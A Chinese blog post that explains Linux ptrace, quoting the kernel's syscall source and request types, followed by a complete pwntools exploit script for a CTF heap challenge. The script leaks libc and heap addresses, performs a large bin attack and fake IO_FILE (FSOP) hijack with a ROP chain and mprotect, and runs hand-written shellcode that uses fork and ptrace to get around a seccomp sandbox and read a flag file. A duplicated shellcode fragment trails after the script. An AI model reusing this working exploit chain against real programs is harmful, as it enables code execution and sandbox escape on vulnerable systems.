ptrace 可以让父进程控制子进程运行,ptrace主要跟踪的是进程运行时的状态,直到收到一个终止信号结束进程,这里的信号如果是我们给程序设置的断点,则进程被中止,并且通知其父进程,在进程中止的状态下,进程的内存空间可以被读写。当然父进程还可以使子进程继续执行,并选择是否忽略引起中止的信号,ptrace可以让一个进程监视和控制另一个进程的执行,并且修改被监视进程的内存、寄存器等,主要应用于断点调试和系统调用跟踪
strace和gdb工具就是基于ptrace编写的!!!
ptrace函数的定义
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
一共有四个参数:
request: 表示要执行的操作类型。
pid: 要操作的目标进程ID
addr: 要监控的目标内存地址
data: 保存读取出或者要写入的数据 详情请参看man手册 https://man7.org/linux/man-pages/man2/ptrace.2.html
ptrace函数的内核实现:
ptrace的内核实现在kernel/ptrace.c文件中,直接看内核接口是SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, unsigned long, data),代码如下:
源码链接: https://elixir.bootlin.com/linux/v5.6/source/kernel/ptrace.c
#ifndef arch_ptrace_attach
#define arch_ptrace_attach(child) do { } while (0)
#endif
SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
unsigned long, data)
{
struct task_struct *child;
long ret;
if (request == PTRACE_TRACEME) {
ret = ptrace_traceme();
if (!ret)
arch_ptrace_attach(current);
goto out;
}
child = find_get_task_by_vpid(pid);
if (!child) {
ret = -ESRCH;
goto out;
}
if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) {
ret = ptrace_attach(child, request, addr, data);
/*
* Some architectures need to do book-keeping after
* a ptrace attach.
*/
if (!ret)
arch_ptrace_attach(child);
goto out_put_task_struct;
}
ret = ptrace_check_attach(child, request == PTRACE_KILL ||
request == PTRACE_INTERRUPT);
if (ret < 0)
goto out_put_task_struct;
ret = arch_ptrace(child, request, addr, data);
if (ret || request != PTRACE_DETACH)
ptrace_unfreeze_traced(child);
out_put_task_struct:
put_task_struct(child);
out:
return ret;
}
在使用ptrace之前需要在两个进程间建立追踪关系,其中tracee可以不做任何事,也可使用prctl和PTRACE_TRACEME来进行设置,ptrace编程的主要部分是tracer,它可以通过附着的方式与tracee建立追踪关系,建立之后,可以控制tracee在特定的时候暂停并向tracer发送相应信号,而tracer则通过循环等待waitpid来处理tracee发来的信号
建立追踪关系
在进行追踪前需要先建立追踪关系,相关request有如下4个:
PTRACE_TRACEME:tracee表明自己想要被追踪,这会自动与父进程建立追踪关系,这也是唯一能被tracee使用的request,其他的request都由tracer指定。
PTRACE_ATTACH:tracer用来附着一个进程tracee,以建立追踪关系,并向其发送SIGSTOP信号使其暂停。
PTRACE_SEIZE:像PTRACE_ATTACH附着进程,但它不会让tracee暂停,addr参数须为0,data参数指定一位ptrace选项。
PTRACE_DETACH:解除追踪关系,tracee将继续运行。
需要知道request几个参数:
PTRACE_POKETEXT, PTRACE_POKEDATA:往内存地址中写入一个字节。内存地址由addr给出。
PTRACE_PEEKTEXT, PTRACE_PEEKDATA:从内存地址中读取一个字节,内存地址由addr给出
PTRACE_ATTACH:跟踪指定pid 进程
PTRACE_GETREGS:读取所有寄存器的值
PTRACE_CONT:继续执行示被跟踪的子进程,signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。
PTRACE_SETREGS:设置寄存器
PTRACE_DETACH:结束跟踪
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=remote('139.155.126.78',31700)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
gdb_script='''
'''
def dbg():
gdb.attach(p,gdb_script)
pause()
# dbg()
sla = lambda data, content: p.sendlineafter(data, content)
sa = lambda data, content: p.sendafter(data, content)
sl = lambda data: p.sendline(data)
# ---------------------------------------------------------
def add(index, size):
sla('>', '1')
sla('Index: ', str(index))
sla(': ', str(size))
def edit(index, content):
sla('>', '3')
sla('Index: ', str(index))
sa(': ', content)
def delete(index):
sla('>', '2')
sla('Index: ', str(index))
def show(index):
sla('>', '4')
sla(': ', str(index))
#--------------------------泄露libcbase------------------------------
add(0, 0x520)
add(1, 0x508)
delete(0)
show(0)
libcbase =u64(p.recv(6).ljust(8, b'\x00'))- 0x1f6cc0
#-----------------------------泄露heapbase----------------------------
add(2, 0x508)
add(3, 0x518)
add(4, 0x528)
delete(2)
delete(3)
show(3)
heapbase =u64(p.recv(6).ljust(8, b'\x00'))- 0x290
add(2, 0x508)
add(3, 0x518)
print(libcbase)
print(hex(heapbase))
#-------------------------------large bin attack---------------------------------
add(5, 0x558)
add(6, 0x558)
add(7, 0x548)
add(8, 0x548)
delete(5)
add(9, 0x598)
delete(7)
io_list_all = libcbase + libc.sym['_IO_list_all']
wfile = libcbase + libc.sym['_IO_wfile_jumps']
lock = 0x3ed8b0 + libcbase
pop_rdi = libcbase + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libcbase + next(libc.search(asm('pop rsi;ret;')))
rsi_r15 = libcbase + 0x0000000000023b63
pop_rax = libcbase + 0x3fa43
pop_rdx = libcbase + 0x166262
ret = libcbase + 0x233d1
leave_ret = libcbase + next(libc.search(asm('leave;ret;')))
read_addr = libc.symbols['read'] + libcbase
magic_gadget = libcbase + 0x163090 + 0x1a
syscall = read_addr + 15
fake_io_addr = heapbase + 0x16E0
orw_addr = heapbase + 0x2740
orw = b'./flag\x00\x00'
orw += p64(rsi_r15) + p64(0) + p64(fake_io_addr - 0x10 + 0x40)
orw += p64(pop_rsi) + p64(0x2000)
orw += p64(pop_rdi) + p64(heapbase)
orw += p64(pop_rdx) + p64(7)
orw += p64(pop_rax) + p64(10)
orw += p64(syscall)
orw += p64(ret) + p64(heapbase + 0x2a0)
mprotect = libcbase + libc.sym['mprotect']
PTRACE_ATTACH = 0x10
PTRACE_SETOPTIONS = 0x4200
PTRACE_CONT = 7
PTRACE_DETACH = 0x11
PTRACE_O_TRACESECCOMP = 0x80
shellcode = shellcraft.fork()
shellcode += '''
test eax,eax
js exit
/*把child_pid的值存到r15寄存器*/
mov r15,rax
cmp rax,0
je child_process
parent_process:
/*PTRACE_ATTACH ptrace(request=0x10, v00='r15', v1=0, v2=0) */
xor r10d, r10d /* 0 */
push 0x10
pop rdi
xor edx, edx /* 0 */
mov rsi, r15
/* call ptrace() */
push 101 /* 0x65 */
pop rax
syscall
/* PTRACE_SETOPTIONS PTRACE_O_TRACESECCOMP ptrace(request=0x4200, v0='r15', v1=0, v2=0x80) */
xor r10d, r10d
mov r10b, 0x80
mov edi, 0x1010101 /* 16896 == 0x4200 */
xor edi, 0x1014301
xor edx, edx /* 0 */
mov rsi, r15
/* call ptrace() */
push 101 /* 0x65 */
pop rax
syscall
monitor_child:
/* wait4(pid=0, stat_loc=0, options=0, usage=0) */
xor r10d, r10d /* 0 */
xor edi, edi /* 0 */
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call wait4() */
push 61 /* 0x3d */
pop rax
syscall
/*PTRACE_CONT ptrace(request=7, v0='r15', v1=0, v2=0) */
xor r10d, r10d /* 0 */
push 7
pop rdi
xor edx, edx /* 0 */
mov rsi, r15
/* call ptrace() */
push 101 /* 0x65 */
pop rax
syscall
jmp monitor_child
child_process:
/* open(file='./flag', oflag=0, mode=0) */
/* push b'./flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f2e
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push 2 /* 2 */
pop rax
syscall
/* sendfile(out_fd=1, in_fd='rax', offset=0, count=0x50) */
push 0x50
pop r10
push 1
pop rdi
xor edx, edx /* 0 */
mov rsi, rax
/* call sendfile() */
push 40 /* 0x28 */
pop rax
syscall
/*没有成功执行再跳转*/
cmp rax,0
jle child_process
exit:
/* Exit the process */
mov rax, 60 /* syscall number for exit */
xor rdi, rdi /* status 0 */
syscall
'''
edit(0, asm(shellcode))
edit(8, orw)
payload = p64(0) + p64(leave_ret) + p64(0) + p64(io_list_all - 0x20)
payload += p64(0) * 2 + p64(0) + p64(orw_addr)
payload += p64(0) * 4
payload += p64(0) * 3 + p64(lock)
payload += p64(0) * 2 + p64(fake_io_addr + 0xe0 + 0x40) + p64(0)
payload += p64(0) * 4
payload += p64(0) + p64(wfile)
payload += p64(0) * 0x1c + p64(fake_io_addr + 0xe0 + 0xe8 + 0x40)
payload += p64(0) * 0xd + p64(magic_gadget)
edit(5, payload)
add(10, 0x640)
add(11, 0x540)
p.sendline('5')
p.interactive()
/*没有成功执行再跳转*/
cmp rax,0
jle child_process
13 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!